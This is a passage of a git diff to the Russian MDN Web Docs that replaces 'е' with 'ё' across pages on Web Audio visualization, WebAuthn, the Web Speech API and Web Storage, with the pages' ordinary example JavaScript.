      Эти методы копируют данные в указанный массив, поэтому Вам необходимо создать новый массив для хранения данных, прежде чем вызывать эти функции . Результат первой из них - числа типа float32, второй и третьей - uint8, поэтому стандартный массив JavaScript не подойдёт для их хранения — следует использовать массивы {{ domxref("Float32Array") }} или {{ domxref("Uint8Array") }}, в зависимости от нужных Вам данных.

      -

      Например, если параметр AnalyserNode.fftSize установлен на 2048, мы возвращаем значение {{ domxref("AnalyserNode.frequencyBinCount") }}, равное половине fft, затем вызываем Uint8Array() с frequencyBinCount в качестве длины — столько измерений мы произведем для данного размера fft.

      +

      Например, если параметр AnalyserNode.fftSize установлен на 2048, мы возвращаем значение {{ domxref("AnalyserNode.frequencyBinCount") }}, равное половине fft, затем вызываем Uint8Array() с frequencyBinCount в качестве длины — столько измерений мы произведём для данного размера fft.

      analyser.fftSize = 2048;
       var bufferLength = analyser.frequencyBinCount;
      @@ -95,7 +95,7 @@ var dataArray = new Uint8Array(bufferLength);
            var sliceWidth = WIDTH * 1.0 / bufferLength;
             var x = 0;
      -

      В цикле, мы задаем позицию небольшого отрезка волны для каждой точки в буфере на высоте, основанной на значении массива в этой точке, а затем перемещаем линию туда, где должен быть нарисован следующий отрезок:

      +

      В цикле, мы задаём позицию небольшого отрезка волны для каждой точки в буфере на высоте, основанной на значении массива в этой точке, а затем перемещаем линию туда, где должен быть нарисован следующий отрезок:

            for(var i = 0; i < bufferLength; i++) {
       
      @@ -127,9 +127,9 @@ var dataArray = new Uint8Array(bufferLength);

      Создание частотной гистограммы

      -

      Еще одна визуализация, которую можно создать, - это частотные диаграммы (такие, как строит Winamp). В проекте Voice-change-O-matic есть реализация такой диаграммы. Давайте посмотрим на нее.

      +

      Ещё одна визуализация, которую можно создать, - это частотные диаграммы (такие, как строит Winamp). В проекте Voice-change-O-matic есть реализация такой диаграммы. Давайте посмотрим на нее.

      -

      Сначала мы снова создаем анализатор и массив для данных, затем очищаем холст при помощи clearRect(). Единственное отличие от того, что мы делали раньше - ы том, что мы можем установить намного меньший размер fft. Таким образом, каждый столбец в диаграмме будет выглядеть как столбец, а не как тонкая полоска.

      +

      Сначала мы снова создаём анализатор и массив для данных, затем очищаем холст при помощи clearRect(). Единственное отличие от того, что мы делали раньше - ы том, что мы можем установить намного меньший размер fft. Таким образом, каждый столбец в диаграмме будет выглядеть как столбец, а не как тонкая полоска.

          analyser.fftSize = 256;
           var bufferLength = analyser.frequencyBinCount;
      @@ -138,7 +138,7 @@ var dataArray = new Uint8Array(bufferLength);
      canvasCtx.clearRect(0, 0, WIDTH, HEIGHT); -

      Затем мы запускаем функцию draw()  и задаем цикл при помощи requestAnimationFrame() таким образом, чтобы в каждом кадре анимации данные обновлялись.

      +

      Затем мы запускаем функцию draw()  и задаём цикл при помощи requestAnimationFrame() таким образом, чтобы в каждом кадре анимации данные обновлялись.

          function draw() {
             drawVisual = requestAnimationFrame(draw);
      @@ -148,9 +148,9 @@ var dataArray = new Uint8Array(bufferLength);
      canvasCtx.fillStyle = 'rgb(0, 0, 0)'; canvasCtx.fillRect(0, 0, WIDTH, HEIGHT); -

      Затем мы устанавливаем значение barWidth , равное ширине холста, деленной на количество столбцов (длину буфера). Однако, мы домножаем ширину на 2.5, поскольку на большинстве частот звука не будет, поскольку большинство звуков, которые мы слышим в повседневной жизни, находятся в определенных, достаточно низких, диапазонах частот. Нам нет смысла показывать множество пустых частот, поэтому мы просто сдвигаем столбцы, соответствующие наиболее распространенным частотам.

      +

      Затем мы устанавливаем значение barWidth , равное ширине холста, делённой на количество столбцов (длину буфера). Однако, мы домножаем ширину на 2.5, поскольку на большинстве частот звука не будет, поскольку большинство звуков, которые мы слышим в повседневной жизни, находятся в определённых, достаточно низких, диапазонах частот. Нам нет смысла показывать множество пустых частот, поэтому мы просто сдвигаем столбцы, соответствующие наиболее распространённым частотам.

      -

      Мы также устанавливаем значение переменных barHeight и x , задающей то, где на холсте должен быть размещен каждый столбец.

      +

      Мы также устанавливаем значение переменных barHeight и x , задающей то, где на холсте должен быть размещён каждый столбец.

            var barWidth = (WIDTH / bufferLength) * 2.5;
             var barHeight;
      @@ -174,7 +174,7 @@ var dataArray = new Uint8Array(bufferLength);
          draw();
      -

      Этот код дает нам следующий результат:

      +

      Этот код даёт нам следующий результат:

      a series of red bars in a bar graph, showing intensity of different frequencies in an audio signal

      diff --git a/files/ru/web/api/web_authentication_api/index.html b/files/ru/web/api/web_authentication_api/index.html index d7951c18d6..4407249491 100644 --- a/files/ru/web/api/web_authentication_api/index.html +++ b/files/ru/web/api/web_authentication_api/index.html @@ -11,11 +11,11 @@ translation_of: Web/API/Web_Authentication_API

      API Web Authentication (также называемое WebAuthn) использует {{interwiki("wikipedia", "Public-key_cryptography", "ассиметричную криптографию (систему с открытым ключом)")}} вместо паролей или SMS-сообщений для регистрации, входа и {{interwiki("wikipedia", "Multi-factor_authentication", "двухфакторной аутентификации")}} на веб-сайтах. Это устраняет многие значительные проблемы безопасности, такие как {{interwiki("wikipedia", "Phishing", "фишинг")}}, {{interwiki("wikipedia", "Data_breach", "утечки данных")}} и атаки на SMS или иные методы двухфакторной аутентификации, при этом сильно упрощая использование, т.к. пользователям не нужно запоминать десятки сложных паролей.

      -

      На многих сайтах уже есть страницы для регистрации и входа в существующие учетные записи, и Web Authentication API может быть как заменой, так и дополнением для них. Как и остальные виды Credential Management API, Web Authentication API содержит два базовых метода: для регистрации и для входа:

      +

      На многих сайтах уже есть страницы для регистрации и входа в существующие учётные записи, и Web Authentication API может быть как заменой, так и дополнением для них. Как и остальные виды Credential Management API, Web Authentication API содержит два базовых метода: для регистрации и для входа:

        -
      • {{domxref("CredentialsContainer.create()", "navigator.credentials.create()")}} - при использовании с опцией publicKey создает новый набор учетных данных для регистрации нового аккаунта или добавления пары ключей к уже существующему.
      • -
      • {{domxref("CredentialsContainer.get()", "navigator.credentials.get()")}} - при использовании с опцией publicKey использует существующий набор учетных данных для аутентификации в сервисе в качестве основного способа входа или второго фактора.
      • +
      • {{domxref("CredentialsContainer.create()", "navigator.credentials.create()")}} - при использовании с опцией publicKey создаёт новый набор учётных данных для регистрации нового аккаунта или добавления пары ключей к уже существующему.
      • +
      • {{domxref("CredentialsContainer.get()", "navigator.credentials.get()")}} - при использовании с опцией publicKey использует существующий набор учётных данных для аутентификации в сервисе в качестве основного способа входа или второго фактора.

      Обратите внимание, и create(), и get() работают только в Secure Context (например, когда подключение к серверу происходит через https или сервер работает на localhost).

      @@ -43,8 +43,8 @@ translation_of: Web/API/Web_Authentication_API
    • Приложение запрашивает регистрацию - The application makes the initial registration request. The protocol and format of this request is outside of the scope of the Web Authentication API.
    • Server Sends Challenge, User Info, and Relying Party Info - The server sends a challenge, user information, and relying party information to the JavaScript program. The protocol for communicating with the server is not specified and is outside of the scope of the Web Authentication API. Typically, server communications would be REST over https (probably using XMLHttpRequest or Fetch), but they could also be SOAP, RFC 2549 or nearly any other protocol provided that the protocol is secure. The parameters received from the server will be passed to the create() call, typically with little or no modification and returns a Promise that will resolve to a {{domxref("PublicKeyCredential")}} containing an {{domxref("AuthenticatorAttestationResponse")}}. Note that it is absolutely critical that the challenge be a buffer of random information (at least 16 bytes) and it MUST be generated on the server in order to ensure the security of the registration process.
    • Браузер вызывает authenticatorMakeCredential() для аутентификатора - Internally, the browser will validate the parameters and fill in any defaults, which become the {{domxref("AuthenticatorResponse.clientDataJSON")}}. One of the most important parameters is the origin, which is recorded as part of the clientData so that the origin can be verified by the server later. The parameters to the create() call are passed to the authenticator, along with a SHA-256 hash of the clientDataJSON (only a hash is sent because the link to the authenticator may be a low-bandwidth NFC or Bluetooth link and the authenticator is just going to sign over the hash to ensure that it isn't tampered with).
    • -
    • Аутентификатор создает новую пару ключей и Attestation - Before doing anything, the authenticator will typically ask for some form of user verification. This could be entering a PIN, using a fingerprint, doing an iris scan, etc. to prove that the user is present and consenting to the registration. After the user verification, the authenticator will create a new asymmetric key pair and safely store the private key for future reference. The public key will become part of the attestation, which the authenticator will sign over with a private key that was burned into the authenticator during its manufacturing process and that has a certificate chain that can be validated back to a root of trust.
    • -
    • Аутентификатор передает информацию в браузер - The new public key, a globally unique credential id, and other attestation data are returned to the browser where they become the attestationObject.
    • +
    • Аутентификатор создаёт новую пару ключей и Attestation - Before doing anything, the authenticator will typically ask for some form of user verification. This could be entering a PIN, using a fingerprint, doing an iris scan, etc. to prove that the user is present and consenting to the registration. After the user verification, the authenticator will create a new asymmetric key pair and safely store the private key for future reference. The public key will become part of the attestation, which the authenticator will sign over with a private key that was burned into the authenticator during its manufacturing process and that has a certificate chain that can be validated back to a root of trust.
    • +
    • Аутентификатор передаёт информацию в браузер - The new public key, a globally unique credential id, and other attestation data are returned to the browser where they become the attestationObject.
    • Браузер создаёт итоговый набор данных, приложение отвечает серверу - The create() Promise resolves to an {{domxref("PublicKeyCredential")}}, which has a {{domxref("PublicKeyCredential.rawId")}} that is the globally unique credential id along with a response that is the {{domxref("AuthenticatorAttestationResponse")}} containing the {{domxref("AuthenticatorResponse.clientDataJSON")}} and {{domxref("AuthenticatorAttestationResponse.attestationObject")}}. The {{domxref("PublicKeyCredential")}} is sent back to the server using any desired formatting and protocol (note that the ArrayBuffer properties need to be be base64 encoded or similar).
    • Сервер проверят и завершает регистрацию - Finally, the server is required to perform a series of checks to ensure that the registration was complete and not tampered with. These include:
        @@ -67,8 +67,8 @@ translation_of: Web/API/Web_Authentication_API
      1. Приложение запрашивает аутентификацию - The application makes the initial authentication request. The protocol and format of this request is outside of the scope of the Web Authentication API.
      2. Server Sends Challenge - The server sends a challenge to the JavaScript program. The protocol for communicating with the server is not specified and is outside of the scope of the Web Authentication API. Typically, server communications would be REST over https (probably using XMLHttpRequest or Fetch), but they could also be SOAP, RFC 2549 or nearly any other protocol provided that the protocol is secure. The parameters received from the server will be passed to the get() call, typically with little or no modification. Note that it is absolutely critical that the challenge be a buffer of random information (at least 16 bytes) and it MUST be generated on the server in order to ensure the security of the authentication process.
      3. Браузер вызывает authenticatorGetCredential() для аутентификатора - Internally, the browser will validate the parameters and fill in any defaults, which become the {{domxref("AuthenticatorResponse.clientDataJSON")}}. One of the most important parameters is the origin, which recorded as part of the clientData so that the origin can be verified by the server later. The parameters to the get() call are passed to the authenticator, along with a SHA-256 hash of the clientDataJSON (only a hash is sent because the link to the authenticator may be a low-bandwidth NFC or Bluetooth link and the authenticator is just going to sign over the hash to ensure that it isn't tampered with).
      4. -
      5. Аутентификатор создает подпись - The authenticator finds a credential for this service that matches the Relying Party ID and prompts a user to consent to the authentication. Assuming both of those steps are successful, the authenticator will create a new assertion by signing over the clientDataHash and authenticatorData with the private key generated for this account during the registration call.
      6. -
      7. Аутентификатор передает информацию в браузер - The authenticator returns the authenticatorData and assertion signature back to the browser.
      8. +
      9. Аутентификатор создаёт подпись - The authenticator finds a credential for this service that matches the Relying Party ID and prompts a user to consent to the authentication. Assuming both of those steps are successful, the authenticator will create a new assertion by signing over the clientDataHash and authenticatorData with the private key generated for this account during the registration call.
      10. +
      11. Аутентификатор передаёт информацию в браузер - The authenticator returns the authenticatorData and assertion signature back to the browser.
      12. Браузер создаёт итоговый набор данных, приложение отвечает серверу - The browser resolves the Promise to a {{domxref("PublicKeyCredential")}} with a {{domxref("PublicKeyCredential.response")}} that contains the {{domxref("AuthenticatorAssertionResponse")}}. It is up to the JavaScript application to transmit this data back to the server using any protocol and format of its choice.
      13. Сервер проверят и завершает аутентификацию - Upon receiving the result of the authentication request, the server performs validation of the response such as:
          diff --git a/files/ru/web/api/web_speech_api/index.html b/files/ru/web/api/web_speech_api/index.html index 3398c86aad..1a844c744f 100644 --- a/files/ru/web/api/web_speech_api/index.html +++ b/files/ru/web/api/web_speech_api/index.html @@ -14,7 +14,7 @@ translation_of: Web/API/Web_Speech_API

          Web Speech API позволяет веб приложениям управлять голосовыми данными. Существует два компонента к этому API:

            -
          • Распознавание голоса. Доступ обеспечивается через {{domxref("SpeechRecognition")}} интерфейс, который в свою очередь обеспечивает возможность распознавать текст из входящего аудио потока (обычно через устройство распознавания речи в устройстве по умолчанию) и отвечать соответственно. Воспользовавшись конструктором интерфейса вы можете создать новый {{domxref("SpeechRecognition")}} объект, у которого есть ряд событий для обнаружения начала речи через микрофон устройства. {{domxref("SpeechGrammar")}} интерфейс предоставляет контейнер для определенного набора грамматики, которое ваше приложение должно использовать. Грамматика определяется с помощью JSpeech Grammar Format (JSGF.)
          • +
          • Распознавание голоса. Доступ обеспечивается через {{domxref("SpeechRecognition")}} интерфейс, который в свою очередь обеспечивает возможность распознавать текст из входящего аудио потока (обычно через устройство распознавания речи в устройстве по умолчанию) и отвечать соответственно. Воспользовавшись конструктором интерфейса вы можете создать новый {{domxref("SpeechRecognition")}} объект, у которого есть ряд событий для обнаружения начала речи через микрофон устройства. {{domxref("SpeechGrammar")}} интерфейс предоставляет контейнер для определённого набора грамматики, которое ваше приложение должно использовать. Грамматика определяется с помощью JSpeech Grammar Format (JSGF.)
          • Доступ к синтезу речи осуществляется с помощью {{domxref("SpeechSynthesis")}} интерфейса, компонент text-to-speech позволяет приложениям прочесть свой текстовый контент (обычно через дефолтный синтезатор речи устройства). В {{domxref("SpeechSynthesisVoice")}} объектах есть различные типы голоса, и различным частям текста можно назначать   {{domxref("SpeechSynthesisUtterance")}} объекты. Можно начать воспроизведение передав их методу {{domxref("SpeechSynthesis.speak()")}}.
          diff --git a/files/ru/web/api/web_speech_api/using_the_web_speech_api/index.html b/files/ru/web/api/web_speech_api/using_the_web_speech_api/index.html index 27aa08113f..c78a987ba5 100644 --- a/files/ru/web/api/web_speech_api/using_the_web_speech_api/index.html +++ b/files/ru/web/api/web_speech_api/using_the_web_speech_api/index.html @@ -9,11 +9,11 @@ tags: - Синтез речи translation_of: Web/API/Web_Speech_API/Using_the_Web_Speech_API --- -

          Web Speech API предоставляет 2 основных типа функционала — распознавание речи пользователя и речевое воспроизведение текста. Это предоставляет новые возможности для взаимодействия с интерфейсом и открывает перед нами новые горизонты создания уникального пользовательского опыта. Эта статья дает краткое описание обоих направлений с примерами кода и ссылкой на работающее приложение онлайн.

          +

          Web Speech API предоставляет 2 основных типа функционала — распознавание речи пользователя и речевое воспроизведение текста. Это предоставляет новые возможности для взаимодействия с интерфейсом и открывает перед нами новые горизонты создания уникального пользовательского опыта. Эта статья даёт краткое описание обоих направлений с примерами кода и ссылкой на работающее приложение онлайн.

          Распознавание речи

          -

          Механизм распознавания речи способен принимать речевой поток через микрофон устройства, а затем проверять его, используя свои внутренние алгоритмы. Для более точной работы рекомендуется использовать интерфейс SpeechGrammar, предоставляющий контейнер для определенного набора грамматики, которое ваше приложение должно использовать. Грамматика определяется с помощью JSpeech Grammar Format(JSGF.).

          +

          Механизм распознавания речи способен принимать речевой поток через микрофон устройства, а затем проверять его, используя свои внутренние алгоритмы. Для более точной работы рекомендуется использовать интерфейс SpeechGrammar, предоставляющий контейнер для определённого набора грамматики, которое ваше приложение должно использовать. Грамматика определяется с помощью JSpeech Grammar Format(JSGF.).

          После того, как пользовательская речь была распознана, алгоритм возвращает результат (список результатов) в качестве текстовой строки, с которой мы можем продолжить работу.

          @@ -33,7 +33,7 @@ translation_of: Web/API/Web_Speech_API/Using_the_Web_Speech_API

          Браузерная поддержка

          -

          Поддержка интерфейса еще только распространяется на основные браузеры, и на текущий момент ограничена следующим образом:

          +

          Поддержка интерфейса ещё только распространяется на основные браузеры, и на текущий момент ограничена следующим образом:

          • @@ -50,7 +50,7 @@ translation_of: Web/API/Web_Speech_API/Using_the_Web_Speech_API

            Разметка и стили предельно просты. У нас есть значок микрофона, на который мы можем кликнуть для начала записи, анимация звукозаписи, которая включается после клика, и фоновый контейнер, который будет изменять свой цвет, в зависимости от того, что озвучит пользователь.

            -

            CSS задает простые отзывчивые стили, для корректного отображения и работы на всех устройствах

            +

            CSS задаёт простые отзывчивые стили, для корректного отображения и работы на всех устройствах

            JavaScript

            @@ -74,8 +74,8 @@ const SpeechRecognitionEvent = window.SpeechRecognitionEvent || window.webkitSpe
            const colors = {
               красный: 'red',
               оранжевый: 'orange',
            -  желтый: 'yellow',
            -  зеленый: 'green',
            +  жёлтый: 'yellow',
            +  зелёный: 'green',
               голубой: 'blue',
               синий: 'darkblue',
               фиолетовый: 'violet'
            @@ -100,7 +100,7 @@ const grammar = '#JSGF V1.0; grammar colors; public <color> = ' + colorsLi
               

            Вторая строка указывает значение, которое мы хотим распознать. public объявляет, что это общедоступное правило, строка в угловых скобках определяет распознанное имя для этого значения (цвет), а список элементов, следующих за знаком равенства, - это альтернативные варианты, которые будут распознаны и могут быть приняты в качестве возможного значения. Обратите внимание, как каждый из них разделяется вертикальной линией (“|” - “pipe character”).

          • -

            У вас может быть множество значений, определенных отдельно, как указано выше, и содержащих довольно сложные определения грамматики. Для нашего демонстрационного примера мы делаем все просто.

            +

            У вас может быть множество значений, определённых отдельно, как указано выше, и содержащих довольно сложные определения грамматики. Для нашего демонстрационного примера мы делаем все просто.

          @@ -108,7 +108,7 @@ const grammar = '#JSGF V1.0; grammar colors; public <color> = ' + colorsLi

          Следующее, что нужно сделать, это определить экземпляр объекта распознавания речи для управления записью нашего приложения.

          -

          Это делается с помощью конструктора SpeechRecognition(). Мы также создаем новый речевой грамматический список, чтобы содержать нашу грамматику, используя конструктор SpeechGrammarList().

          +

          Это делается с помощью конструктора SpeechRecognition(). Мы также создаём новый речевой грамматический список, чтобы содержать нашу грамматику, используя конструктор SpeechGrammarList().

          const recognition = new SpeechRecognition();
           const speechRecognitionList = new SpeechGrammarList();
          @@ -118,7 +118,7 @@ const speechRecognitionList = new SpeechGrammarList();
          speechRecognitionList.addFromString(grammar, 1);
           
          -

          Затем мы добавляем SpeechGrammarList к уже созданному объекту распознавания речи, присваивая его значение свойству SpeechRecognition.grammars. Также зададим еще несколько свойств объекту, прежде чем двигаться дальше:

          +

          Затем мы добавляем SpeechGrammarList к уже созданному объекту распознавания речи, присваивая его значение свойству SpeechRecognition.grammars. Также зададим ещё несколько свойств объекту, прежде чем двигаться дальше:

          • @@ -140,14 +140,14 @@ recognition.maxAlternatives = 1;
            -

            Внимание:  SpeechRecognition.continuous задает, отслеживаются ли продолжающиеся результаты или только 1 результат, каждый раз, когда запись начата. Это закомментировано, поскольку данное свойство в еще не реализовано в Gecko.

            +

            Внимание:  SpeechRecognition.continuous задаёт, отслеживаются ли продолжающиеся результаты или только 1 результат, каждый раз, когда запись начата. Это закомментировано, поскольку данное свойство в ещё не реализовано в Gecko.

            Вы можете получить аналогичный результат, просто прекратив распознавание после получения первого результата.

            Запуск распознавания речи

            -

            После получения ссылок на DOM-элементы, необходимые нам для обработки пользовательских событий и обновления цвета фона приложения, мы реализуем обработчик onclick, чтобы при нажатии на значок микрофона сервис распознавания речи начинал работу. Запуск происходит путем вызова функции SpeechRecognition.start().

            +

            После получения ссылок на DOM-элементы, необходимые нам для обработки пользовательских событий и обновления цвета фона приложения, мы реализуем обработчик onclick, чтобы при нажатии на значок микрофона сервис распознавания речи начинал работу. Запуск происходит путём вызова функции SpeechRecognition.start().

            microphoneIcon.onclick = function() {
               recognition.start();
            @@ -162,7 +162,7 @@ recognition.onaudiostart = function() {
             
             

            Получение и обработка результата

            -

            После того, как процесс распознавания речи был запущен, есть много обработчиков событий, которые могут быть использованы для работы с результатом и другой сопутствующей информацией (см. Список обработчиков событий SpeechRecognition.) Наиболее распространенный, который вы, вероятно, и будете использовать, это SpeechRecognition.onresult, который запускается сразу после получения успешного результата. Значение цвета получаем вызовом функции getColor()

            +

            После того, как процесс распознавания речи был запущен, есть много обработчиков событий, которые могут быть использованы для работы с результатом и другой сопутствующей информацией (см. Список обработчиков событий SpeechRecognition.) Наиболее распространённый, который вы, вероятно, и будете использовать, это SpeechRecognition.onresult, который запускается сразу после получения успешного результата. Значение цвета получаем вызовом функции getColor()

            function getColor(speechResult) {
               for (let index = 0; index < colorsList.length; index += 1) {
            @@ -182,7 +182,7 @@ recognition.onresult = function(event) {
               console.log('Confidence: ' + event.results[0][0].confidence);
             };
            -

            Третья строка здесь выглядит немного усложненной, поэтому давайте разберемся с ней подробнее. Свойство SpeechRecognitionEvent.results возвращает объект SpeechRecognitionResultList, содержащий в себе другие объекты типа SpeechRecognitionResult. У него есть геттер, поэтому он может быть доступен как массив, поэтому переменная last определяет ссылку на SpeechRecognitionResult из списка. Каждый объект SpeechRecognitionResult содержит объекты SpeechRecognitionAlternative, которые содержат отдельные распознанные слова. Они также имеют геттеры, поэтому к ним можно получить доступ как к массивам, поэтому логично, что [0] возвращает значение SpeechRecognitionAlternative по индексу 0. Затем мы возвращаем строку, содержащую индивидуально распознанный результат, используя который и можем установить цвет фона.

            +

            Третья строка здесь выглядит немного усложнённой, поэтому давайте разберёмся с ней подробнее. Свойство SpeechRecognitionEvent.results возвращает объект SpeechRecognitionResultList, содержащий в себе другие объекты типа SpeechRecognitionResult. У него есть геттер, поэтому он может быть доступен как массив, поэтому переменная last определяет ссылку на SpeechRecognitionResult из списка. Каждый объект SpeechRecognitionResult содержит объекты SpeechRecognitionAlternative, которые содержат отдельные распознанные слова. Они также имеют геттеры, поэтому к ним можно получить доступ как к массивам, поэтому логично, что [0] возвращает значение SpeechRecognitionAlternative по индексу 0. Затем мы возвращаем строку, содержащую индивидуально распознанный результат, используя который и можем установить цвет фона.

            Мы также используем свойство SpeechRecognition.speechend, чтобы задать обработчик на завершение работы распознавателя речи (вызов SpeechRecognition.stop() ), как только одно слово было распознано, и входящий речевой поток был остановлен.

            @@ -196,7 +196,7 @@ recognition.onresult = function(event) {

            Обработка ошибок

            -

            Последние два обработчика используются для отлова ошибок: когда речь была признана не в соответствии с определенной грамматикой или произошла ошибка. По логике, SpeechRecognition.onnomatch, должен обрабатывать первый случай, но обратите внимание, что на данный момент он не срабатывает правильно в Firefox или Chrome, он просто возвращает все, что было распознано в любом случае:

            +

            Последние два обработчика используются для отлова ошибок: когда речь была признана не в соответствии с определённой грамматикой или произошла ошибка. По логике, SpeechRecognition.onnomatch, должен обрабатывать первый случай, но обратите внимание, что на данный момент он не срабатывает правильно в Firefox или Chrome, он просто возвращает все, что было распознано в любом случае:

            recognition.onnomatch = function(event) {
               alert("I didn't recognise that color.");
            @@ -229,7 +229,7 @@ recognition.onresult = function(event) {
             
             

            Браузерная поддержка

            -

            Поддержка интерфейса еще только распространяется на основные браузеры, и на текущий момент ограничена следующим образом:

            +

            Поддержка интерфейса ещё только распространяется на основные браузеры, и на текущий момент ограничена следующим образом:

            • @@ -252,7 +252,7 @@ recognition.onresult = function(event) { Заголовок и форму с некоторыми простыми элементами управления.
              Элемент <select> изначально пуст, но заполняется с помощью <option> через JavaScript (см. ниже).

              -

              CSS задает простые отзывчивые стили, для корректного отображения и работы на всех устройствах

              +

              CSS задаёт простые отзывчивые стили, для корректного отображения и работы на всех устройствах

              <section>
                 <h1>Синтез речи</h1>
              @@ -292,7 +292,7 @@ recognition.onresult = function(event) {
               
               

              Задание переменных

              -

              Прежде всего, создаем ссылки на все нужные нам DOM-элементы.

              +

              Прежде всего, создаём ссылки на все нужные нам DOM-элементы.

              Входная точка API - window.speechSynthesis, возвращает экземпляр SpeechSynthesis, интерфейс контроллера для синтеза речи в вебе.

              @@ -308,9 +308,9 @@ let voices = [];

              Заполнение выпадающего списка

              -

              Чтобы заполнить элемент <select> различными вариантами голоса, доступных на устройстве, напишем функцию populateVoiceList(). Сначала мы вызываем SpeechSynthesis.getVoices(), который возвращает список всех доступных вариантов голосов, представленных объектами SpeechSynthesisVoice. Затем мы проходимся по списку, создавая элемент <option> для каждого отдельного случая, задаем его текстовое содержимое, соответствующее названию голоса (взято из SpeechSynthesisVoice.name), языка голоса (из SpeechSynthesisVoice.lang), и  “по умолчанию”, если голос является голосом по умолчанию для механизма синтеза (проверяется, если функция SpeechSynthesisVoice.default возвращает значение true.)

              +

              Чтобы заполнить элемент <select> различными вариантами голоса, доступных на устройстве, напишем функцию populateVoiceList(). Сначала мы вызываем SpeechSynthesis.getVoices(), который возвращает список всех доступных вариантов голосов, представленных объектами SpeechSynthesisVoice. Затем мы проходимся по списку, создавая элемент <option> для каждого отдельного случая, задаём его текстовое содержимое, соответствующее названию голоса (взято из SpeechSynthesisVoice.name), языка голоса (из SpeechSynthesisVoice.lang), и  “по умолчанию”, если голос является голосом по умолчанию для механизма синтеза (проверяется, если функция SpeechSynthesisVoice.default возвращает значение true.)

              -

              Мы также задаем data- атрибуты для каждого варианта, содержащие имя и язык связанного голоса, благодаря чему мы можем легко их собрать их позже, а затем вложить все варианты в качестве дочерних элементов нашего списка (<select>).

              +

              Мы также задаём data- атрибуты для каждого варианта, содержащие имя и язык связанного голоса, благодаря чему мы можем легко их собрать их позже, а затем вложить все варианты в качестве дочерних элементов нашего списка (<select>).

              function populateVoiceList() {
                 voices = synth.getVoices();
              @@ -340,11 +340,11 @@ let voices = [];
              speechSynthesis.onvoiceschanged = populateVoiceList; }
            -

            Озвучка введенного текста

            +

            Озвучка введённого текста

            -

            Затем мы создаем обработчик событий, чтобы начать “произносить” текст, введенный в текстовом поле, при нажатии на кнопку Enter/Return или на Play. Для этого используем обработчик onsubmit в html-формы. В функции-обработчике speak() мы создаем новый экземпляр SpeechSynthesisUtterance(), передавая значение текстового поля в конструктор.

            +

            Затем мы создаём обработчик событий, чтобы начать “произносить” текст, введённый в текстовом поле, при нажатии на кнопку Enter/Return или на Play. Для этого используем обработчик onsubmit в html-формы. В функции-обработчике speak() мы создаём новый экземпляр SpeechSynthesisUtterance(), передавая значение текстового поля в конструктор.

            -

            Затем нам нужно выяснить, какой голос использовать. Мы используем свойство HTMLSelectElement selectedOptions для получения выбранного элемента <option>, у которого берем атрибут data-name, и находим объект SpeechSynthesisVoice, имя которого соответствует значению имеющегося атрибута. После этого устанавливаем соответствующий “голосовой” объект как значение свойства SpeechSynthesisUtterance.voice.

            +

            Затем нам нужно выяснить, какой голос использовать. Мы используем свойство HTMLSelectElement selectedOptions для получения выбранного элемента <option>, у которого берём атрибут data-name, и находим объект SpeechSynthesisVoice, имя которого соответствует значению имеющегося атрибута. После этого устанавливаем соответствующий “голосовой” объект как значение свойства SpeechSynthesisUtterance.voice.

            Наконец, мы устанавливаем SpeechSynthesisUtterance.pitch (высота тона) и SpeechSynthesisUtterance.rate (скорость) в соответствии со значениями соответствующих элементов формы. Затем, после всего проделанного, мы запускаем произношение речи, вызывая SpeechSynthesis.speak(), и передавая ему экземпляр SpeechSynthesisUtterance в качестве аргумента.

            @@ -353,7 +353,7 @@ let voices = [];

            В последней части функции мы включаем обработчик SpeechSynthesisUtterance.onpause, чтобы показать пример применения SpeechSynthesisEvent в различных ситуациях. Вызов SpeechSynthesis.pause() возвращает сообщение с информацией о номере символа и слове, на котором была вызвана пауза.

            -

            Наконец, мы назовем blur() у текстового поля. Это, прежде всего, для того, чтобы скрыть клавиатуру в ОС Firefox.

            +

            Наконец, мы назовём blur() у текстового поля. Это, прежде всего, для того, чтобы скрыть клавиатуру в ОС Firefox.

            function speak() {
               if (synth.speaking) {
            diff --git a/files/ru/web/api/web_storage_api/index.html b/files/ru/web/api/web_storage_api/index.html
            index e162603b6b..63f15e9736 100644
            --- a/files/ru/web/api/web_storage_api/index.html
            +++ b/files/ru/web/api/web_storage_api/index.html
            @@ -14,14 +14,14 @@ translation_of: Web/API/Web_Storage_API
              
          • локальное хранилище (localStorage) делает то же самое, но сохраняет данные даже в случае, если переоткрыть браузер. 
          -

          Обе функции доступны через  {{domxref("Window.sessionStorage")}} и {{domxref("Window.localStorage")}} свойства (если быть более точным, в браузерах, поддерживающих хранилища объект Window  выполняет объекты WindowLocalStorage и WindowSessionStorage, которые содержат свойства localStorage и sessionStorage) — вызов одного из них создает представление объекта {{domxref("Storage")}}, через который можно устанавливать, редактировать и удалять данные. Для каждого из типа хранилищ и по каждому домену используется отдельное представление Storage объекта  - они функционируют и управляются отдельно друг от друга. 

          +

          Обе функции доступны через  {{domxref("Window.sessionStorage")}} и {{domxref("Window.localStorage")}} свойства (если быть более точным, в браузерах, поддерживающих хранилища объект Window  выполняет объекты WindowLocalStorage и WindowSessionStorage, которые содержат свойства localStorage и sessionStorage) — вызов одного из них создаёт представление объекта {{domxref("Storage")}}, через который можно устанавливать, редактировать и удалять данные. Для каждого из типа хранилищ и по каждому домену используется отдельное представление Storage объекта  - они функционируют и управляются отдельно друг от друга. 

          -

          Замечание: Начиная с версии 45 Firefox, когда браузер прекращает работу/перезагружается, объем данных, сохраненных для каждого источника, ограничивается 10 МБ. Это было сделано, чтобы избежать проблем с памятью, вызванных чрезмерным использованием веб-хранилища.

          +

          Замечание: Начиная с версии 45 Firefox, когда браузер прекращает работу/перезагружается, объем данных, сохранённых для каждого источника, ограничивается 10 МБ. Это было сделано, чтобы избежать проблем с памятью, вызванных чрезмерным использованием веб-хранилища.

          -

          Замечание: Доступ к веб хранилищу из iFrame третьей стороны запрещен, если пользователь отключил cookies третьих сторон (Firefox ведёт себя так с версии 43).

          +

          Замечание: Доступ к веб хранилищу из iFrame третьей стороны запрещён, если пользователь отключил cookies третьих сторон (Firefox ведёт себя так с версии 43).

          @@ -41,7 +41,7 @@ translation_of: Web/API/Web_Storage_API

          Примеры

          -

          Чтобы проиллюстрировать типичное использование веб хранилища, мы создали простейший пример и назвали его Web Storage Demo. На лендинге нашего примера вы найдете элементы управления для изменения фонового цвета, шрифта и изображения. Когда вы выбираете разные опции, страница мгновенно меняется. В дополнение, ваш выбор сохраняется в локальном хранилище, чтобы, если вы покинете страницу и потом загрузите ее снова, ваши настройки восстановились. 

          +

